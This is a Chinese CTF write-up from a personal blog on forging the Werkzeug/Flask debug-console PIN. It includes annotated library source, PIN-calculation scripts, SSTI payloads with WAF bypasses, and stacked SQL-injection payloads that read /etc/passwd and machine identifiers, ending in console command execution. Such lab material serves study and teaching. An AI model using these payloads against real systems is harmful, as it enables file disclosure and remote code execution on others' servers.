Flask算PIN值

flask应用在开启debug下,在url输出console可以进入控制台调试模式

image-20220425205008888

image-20220425205012016

所以我们如果要进入console模式,就必须拿到PIN码

源码剖析

环境准备

image-20220425212330055

可以github上找源码

https://github.com/pallets/werkzeug/blob/1.0.x/src/werkzeug/debug/__init__.py

https://github.com/pallets/werkzeug/blob/2.1.x/src/werkzeug/debug/__init__.py

也可以直接Ctrl+B跟进源码,也可以去目录里面找,下面给出debug计算PIN的源码路径

Python目录\Lib\site-packages\werkzeug\debug

image-20220425212508607

源码分析

# 前面导入库部分省略


# PIN有效时间,可以看到这里默认是一周时间
PIN_TIME = 60 * 60 * 24 * 7


def hash_pin(pin: str) -> str:
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]


_machine_id: t.Optional[t.Union[str, bytes]] = None

# 获取机器id
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
    def _generate() -> t.Optional[t.Union[str, bytes]]:
        linux = b""
        # !!!!!!!!
        # 获取machine-id或/proc/sys/kernel/random/boot_id
        # machine-id其实是机器绑定的一种id
        # boot-id是操作系统的引导id
        # docker容器里面可能没有machine-id
        # 获取到其中一个值之后就break了,所以machine-id的优先级要高一些
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except OSError:
                continue
            if value:
                # 这里进行的是字符串拼接
                linux += value
                break

        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
                # 获取docker的id
                # 例如:11:perf_event:/docker/2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8
                # 则只截取2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8拼接到后面
        except OSError:
            pass
        if linux:
            return linux

        # OS系统的
        {}

        # 下面是windows的获取方法,由于使用得不多,可以先不管
        if sys.platform == "win32":
            {}
    # 最终获取machine-id
    _machine_id = _generate()
    return _machine_id
# 总结一下,这个machine_id靠三个文件里面的内容拼接而成

class _ConsoleFrame:
    def __init__(self, namespace: t.Dict[str, t.Any]):
        self.console = Console(namespace)
        self.id = 0


def get_pin_and_cookie_name(
    app: "WSGIApplication",
) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:

    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    # 获取环境变量WERKZEUG_DEBUG_PIN并赋值给pin
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == "off":
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace("-", "").isdigit():
        # If there are separators in the pin, return it directly
        if "-" in pin:
            rv = pin
        else:
            num = pin
    # 使用getattr(app, "__module__", t.cast(object, app).__class__.__module__)获取modname,其默认值为flask.app
    modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
    username: t.Optional[str]

    try:
        # 获取username的值通过getpass.getuser()
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None

    mod = sys.modules.get(modname)

    # 此信息的存在只是为了使cookie在
    # 计算机,而不是作为一个安全功能。
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", type(app).__name__),
        getattr(mod, "__file__", None),
    ] # 这里又多获取了两个值,appname和moddir
    # getattr(app, "__name__", type(app).__name__):appname,默认为Flask
    # getattr(mod, "__file__", None):moddir,可以根据报错路劲获取,

    # 这个信息是为了让攻击者更难
    # 猜猜cookie的名字。它们不太可能被控制在任何地方
    # 在未经身份验证的调试页面中。
    private_bits = [str(uuid.getnode()), get_machine_id()]
    # 获取uuid和machine-id,通过uuid.getnode()获得
    h = hashlib.sha1()
    # 使用sha1算法,这是python高版本和低版本算pin的主要区别
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    # 如果我们需要做一个大头针,我们就多放点盐,这样就不会
    # 以相同的值结束并生成9位数字
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num
    # 这就是主要的pin算法,脚本可以直接照抄这部分代码
    return rv, cookie_name

image-20220425223519158

image-20220425223540182

image-20220425223607806

image-20220425223659396


以上就是PIN源码的简单分析,可以看到flask的算pin是直接调用的外部的算法,而不是flask自己写的,所以跟flask的版本无关,跟werkzeug\debug里面的代码有关,而不同版本的werkzeug库的PIN计算方式不同,一般来说python3.8以前用的都是md5,但是目前的flask已经更新了,所以现在就算是python3.6也是用的sha1算法,也就是说PIN的算法跟python版本没有直接关系,但是一些老题目可能会使用md5算法

PIN生成条件

  • probably_public_bits:

    username
    modname
    getattr(app, 'name', app.class.name)
    getattr(mod, 'file', None)

    username:通过/etc/passwd这个文件去猜**
    **modname:getattr(app, "module", t.cast(object, app).class.module)获取,不同版本的获取方式不同,但默认值都是flask.app

    appname:通过getattr(app, 'name', app.class.name)获取,默认值为Flask

    moddir:flask所在的路径,通过getattr(mod, 'file', None)获得,题目中一般通过查看debug报错信息获得

  • private_bits:

    • uuid

      网卡的mac地址的十进制,可以通过代码uuid.getnode()获得,也可以通过读取/sys/class/net/eth0/address获得,一般获取的是一串十六进制数,将其中的横杠去掉然后转十进制就行。

      例:00:16:3e:03:8f:39 => 95529701177

    • machine-id

      machine-id是通过三个文件里面的内容经过处理后拼接起来

      对于非docker机,每台机器都有它唯一的machine-id,一般放在/etc/machine-id和/proc/sys/kernel/random/boot_id

      对于docker机,就要查看/proc/self/cgroup文件的内容

      非docker机,三个文件都需要读取

      docker机只读取除/etc/machine-id以外的两个文件

PIN生成脚本

低版本(werkzeug1.0.x)

import hashlib
from itertools import chain

probably_public_bits = [
    'root'  # username,通过/etc/passwd
    'flask.app',  # modname,默认值
    'Flask',  # 默认值
    '/usr/local/lib/python3.7/site-packages/flask/app.py'  # moddir,通过报错获得
]

private_bits = [
    '25214234362297',  # mac十进制值 /sys/class/net/ens0/address
    '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'  # /etc/machine-id
]

# 下面为源码里面抄的,不需要修改
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
        else:
            rv = num

print(rv)

高版本(werkzeug>=2.0.x)

import hashlib
from itertools import chain

probably_public_bits = [
    'root'  # /etc/passwd
    'flask.app',  # 默认值
    'Flask',  # 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py'  # 报错得到
]

private_bits = [
    '2485377568585',  # /sys/class/net/eth0/address 十进制
    '653dc458-4634-42b1-9a7a-b22a082e1fce898ba65fb61b89725c91a48c418b81bf98bd269b6f97002c3d8f69da8594d2d2'
    # 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

例题

ctfshow web801

image-20220426124433266

提示可以下载文件,然后开启了debug模式,然后那就好办了

image-20220426124649064

通过报错获得了moddir以及python版本3.8

/usr/local/lib/python3.8/site-packages/flask/app.py

username:

image-20220426124854859

有shell的就只有root了

MAC地址

image-20220426125245567

image-20220426125317478

mac: 2485377568585

machine-id:

image-20220426125709266

image-20220426125801156

因为是docker环境,所以不需要看/etc/machine-id

所以得到最终的machine-id为

653dc458-4634-42b1-9a7a-b22a082e1fce898ba65fb61b89725c91a48c418b81bf98bd269b6f97002c3d8f69da8594d2d2

因为中途环境过期了,所以重新算了一次

image-20220426130501594

获得PIN

image-20220426130518424

然后代码执行就行了

image-20220426130630663

[GYCTF2020]FlaskApp

image-20220426131232985

打开题目提供了三个功能,加密;机密;提示(摆烂图)

因为是flask,那就猜测是否有ssti注入,已经debug模式是否开启

image-20220426131356013

很明显有,接着就是看是否存在ssti,让我能读取到文件,或者执行代码,让我们能够算出PIN值

随便解码一个非法字符,拿到报错信息

image-20220426131540010

可以看到使用的是python3.7,获得了moddir:/usr/local/lib/python3.7/site-packages/flask/app.py

image-20220426131649750

还可以拿到部分源码


@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 : {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for('decode'))
        res =  render_template_string(tmp)

可以看到这里是直接将text参数进行base64解密之后就渲染出来,也就是说我们能在渲染之前就能控制渲染模板,很显然这就是一个常见的ssti注入,但是这里有一个waf,简单的测试了一下,过滤很多关键词,这里可以直接通过字符串拼接绕过然后拿到flag,但是这里既然开启了debug模式,那肯定就是想要我们计算出PIN值

解法1(ssti bypass):

这里直接借鉴网上的payload然后修改一下

image-20220426133133912

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection

获取源码payload

{% for i in ().__class__.__base__.__subclasses__() %}
{% if 'warning' in i.__name__ %}
{{ i.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}
{% endfor %}

{% for i in ().__class__.__base__.__subclasses__() %}{% if 'warning' in i.__name__ %}{{ i.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

base64:
eyUgZm9yIGkgaW4gKCkuX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiAnd2FybmluZycgaW4gaS5fX25hbWVfXyAlfXt7IGkuX19pbml0X18uX19nbG9iYWxzX19bJ19fYnVpbHRpbnNfXyddLm9wZW4oJ2FwcC5weScsJ3InKS5yZWFkKCkgfX17JSBlbmRpZiAlfXslIGVuZGZvciAlfQ==

image-20220426134017514

app.py:

from flask import Flask,render_template_string from flask import render_template,request,flash,redirect,url_for from flask_wtf import FlaskForm from wtforms import StringField, SubmitField from wtforms.validators import DataRequired from flask_bootstrap import Bootstrap import base64 app = Flask(__name__) app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y' bootstrap = Bootstrap(app) class NameForm(FlaskForm): text = StringField('BASE64加密',validators= [DataRequired()]) submit = SubmitField('提交') class NameForm1(FlaskForm): text = StringField('BASE64解密',validators= [DataRequired()]) submit = SubmitField('提交') def waf(str): black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"] for x in black_list : if x in str.lower() : return 1 @app.route('/hint',methods=['GET']) def hint(): txt = "失败乃成功之母!!" return render_template("hint.html",txt = txt) @app.route('/',methods=['POST','GET']) def encode(): if request.values.get('text') : text = request.values.get("text") text_decode = base64.b64encode(text.encode()) tmp = "结果 :{0}".format(str(text_decode.decode())) res = render_template_string(tmp) flash(tmp) return redirect(url_for('encode')) else : text = "" form = NameForm(text) return render_template("index.html",form = form ,method = "加密" ,img = "flask.png") @app.route('/decode',methods=['POST','GET']) def decode(): if request.values.get('text') : text = request.values.get("text") text_decode = base64.b64decode(text.encode()) tmp = "结果 : {0}".format(text_decode.decode()) if waf(tmp) : flash("no no no !!") return redirect(url_for('decode')) res = render_template_string(tmp) flash( res ) return redirect(url_for('decode')) else : text = "" form = NameForm1(text) return render_template("index.html",form = form, method = "解密" , img = "flask1.png") @app.route('/<name>',methods=['GET']) def not_found(name): return render_template("404.html",name = name) if __name__ == '__main__': app.run(host="0.0.0.0", port=5000, debug=True) 
def waf(str):
  black_list = [ "flag", "os", "system", "popen", "import", "eval", "chr", "request", "subprocess", "commands", "socket", "hex", "base64", "*", "?"
]
  for x in black_list:
    if x in str.lower():
      return 1
@app.route( '/hint', methods = [ 'GET'])

payload:

{% for i in ().__class__.__base__.__subclasses__() %}{% if 'warning' in i.__name__ %}{{ i.__init__.__globals__['__builtins__']['__impo'+'rt__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

base64:
    eyUgZm9yIGkgaW4gKCkuX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiAnd2FybmluZycgaW4gaS5fX25hbWVfXyAlfXt7IGkuX19pbml0X18uX19nbG9iYWxzX19bJ19fYnVpbHRpbnNfXyddWydfX2ltcG8nKydydF9fJ10oJ28nKydzJykubGlzdGRpcignLycpfX17JSBlbmRpZiAlfXslIGVuZGZvciAlfQ==

image-20220426135024206

['bin', 'boot', 'dev', 'etc', 'home', 'lib', 'lib64', 'media', 'mnt', 'opt', 'proc', 'root', 'run', 'sbin', 'srv', 'sys', 'tmp', 'usr', 'var', 'this_is_the_flag.txt', '.dockerenv', 'app'] 

读取flag:

{% for i in ().__class__.__base__.__subclasses__() %}{% if 'warning' in i.__name__ %}{{ i.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read() }}{% endif %}{% endfor %}

base64:
eyUgZm9yIGkgaW4gKCkuX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiAnd2FybmluZycgaW4gaS5fX25hbWVfXyAlfXt7IGkuX19pbml0X18uX19nbG9iYWxzX19bJ19fYnVpbHRpbnNfXyddLm9wZW4oJy90aGlzX2lzX3RoZV9mbCcrJ2FnLnR4dCcsJ3InKS5yZWFkKCkgfX17JSBlbmRpZiAlfXslIGVuZGZvciAlfQ==

image-20220426135249036

解法2(算PIN)

usernmae: flaskweb

{% for i in ().__class__.__base__.__subclasses__() %}{% if 'warning' in i.__name__ %}{{ i.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}{% endif %}{% endfor %}

image-20220426135516871

moddir: /usr/local/lib/python3.7/site-packages/flask/app.py

mac: b2:dd:5f:9c:78:1e 196663861606430

{% for i in ().__class__.__base__.__subclasses__() %}{% if 'warning' in i.__name__ %}{{ i.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}

image-20220426140025677

machine-id

imgXOOK@SQ.png)

这里buu上的环境有问题,读出来的docker-id有问题,但是把理论搞懂就行了

摆烂了,我甚至在python3.6读到sha1算PIN,所以应该不是看python版本,准确来说是看werkzeug版本,这个跟python版本没有实质性的关联

image-20220426202800463

image-20220426154011593

总之我把所有可能的情况都试过一遍,还是不对,后面我听他们说这道题的环境好像有点问题,之前拿到dockre-id是非常常规的,然后就摆烂了

后面又审了一下,觉得machine-id应该只由boot-id生成,因为docker-id读取那里读不到

image-20220426191135130

image-20220426191153961

因为读取第一行斜杠后面的内容,但是后面试了一下发现还是不行,这我是真的没办法了

img

[starCTF]oh-my-notepro

复现环境:https://github.com/sixstars/starctf2022/tree/main/web-oh-my-notepro/docker

image-20220426195905739

image-20220426201626391

打开题目发现有个记笔记功能,且登陆可以用任意账号密码登陆

image-20220426201824578

image-20220426201932455

然后随便写了一个不存在的id,发现debug报错,且是flask,猜测是算PIN

image-20220426202156617

image-20220426202030578

def login_required(f):
    @wraps(f)
    def decorated_function(*args, **kws):
            if not session.get("username"):
               return redirect(url_for('login'))
            return f(*args, **kws)
    return decorated_function

def get_random_id():
    alphabet = list(string.ascii_lowercase + string.digits)
    result = db.session.execute(sql, params={"multi":True})
    db.session.commit()
    result = result.fetchone()
    data = {
        'title': result[4],
        'text': result[3],
    }
    return render_template('note.html', data=data)

接下来就是想办法读文件,然后算PIN

image-20220426210901009

猜测这个可以sql注入

SQL注入

image-20220426210944985

发现报错,存在sql注入

image-20220426211241324

爆出5列,很显然flag不在数据库里面,需要在使用sql读取文件算PIN

image-20220426211454011

image-20220426214835805

因为版本是5.6.51,高版本的mysql默认是没有权限使用load_file命令的,但是可以使用load data local infile into table,导入文件数据到表中,然后再大一这个表中的数据,所以给出payload如下

create table table_name(data varchar(1000));load data local infile "文件目录" into table ctf.table_name;
SELECT group_concat(data) from ctf.table_name;

这里其实是可以使用堆叠注入的,通过爆出的源码得知

image-20220426215445607

image-20220426215517920

这是一个flask的mysql拓展,他指定了一个参数{"multi":True},它的含义就是允许执行多行命令

所以给出堆叠注入payload如下

创建表
';create table pysnow(data varchar(1000));%23
导入数据到表
';load data local infile "/etc/passwd" into table ctf.pysnow;%23
读取表
'union select 1,2,3,4,group_concat(data) from ctf.pysnow%23

image-20220426220219836

执行成功

计算PIN

根据前面的说法,现在就是读各种文件了

/etc/passwd: ctf

image-20220426220414848

拿到username为ctf

/sys/class/net/eth0/address: 2485723369475

image-20220426221659524

image-20220426221720834

/proc/self/cgroup: 6002acf689b0b8562763a1e738959d4ce549b19c2431bd61b33529710846491e

image-20220426221930599

/proc/sys/kernel/random/boot-id: 23d4f554-ae37-414f-b759-447c2b298e7f

/etc/machine-id 1cc402dd0e11d5ae18db04a6de87223d

image-20220426222154774

image-20220426222806830

image-20220426223007875

拿到PIN:912-569-282

image-20220426223901535

拿到python的shell了,直接os.popen('ls /').read()执行命令就行

总结

flask算PIN首先看它是什么版本,一般目前遇到的都是新版本的算法,也就是使用sha1,然后就是想办法读取文件,先读取/etc/machine-id里面的内容,没有就读boot-id,/etc/machine-id是处于优先级的,然后就是看/proc/self/cgroup第一行从右往左数的第一个左斜杠后面的字符串然后拼接到前面的boot-id或machine-id后面;

然后就是看username,直接通过/etc/passwd查看,看那些有shell的用户,然后就是通过报错信息拿到flask模块的地址已经通过/sys/class/net/eth0/address查看mac地址,可以用控制台直接转10进制,然后用脚本一把梭就行了,这个脚本其实也非常好些,直接找到对应的源码,然后一抄就行了,总之这个姿势理论上是很好掌握的,建议自己审一遍这个debug生成PIN的源码

最后修改:2022 年 07 月 25 日
如果觉得我的文章对你有用,请随意赞赏
本文作者:
文章标题:Flask算PIN值
本文地址:https://pysnow.cn/archives/170/
版权说明:若无注明,本文皆Pysnow's Blog原创,转载请保留文章出处。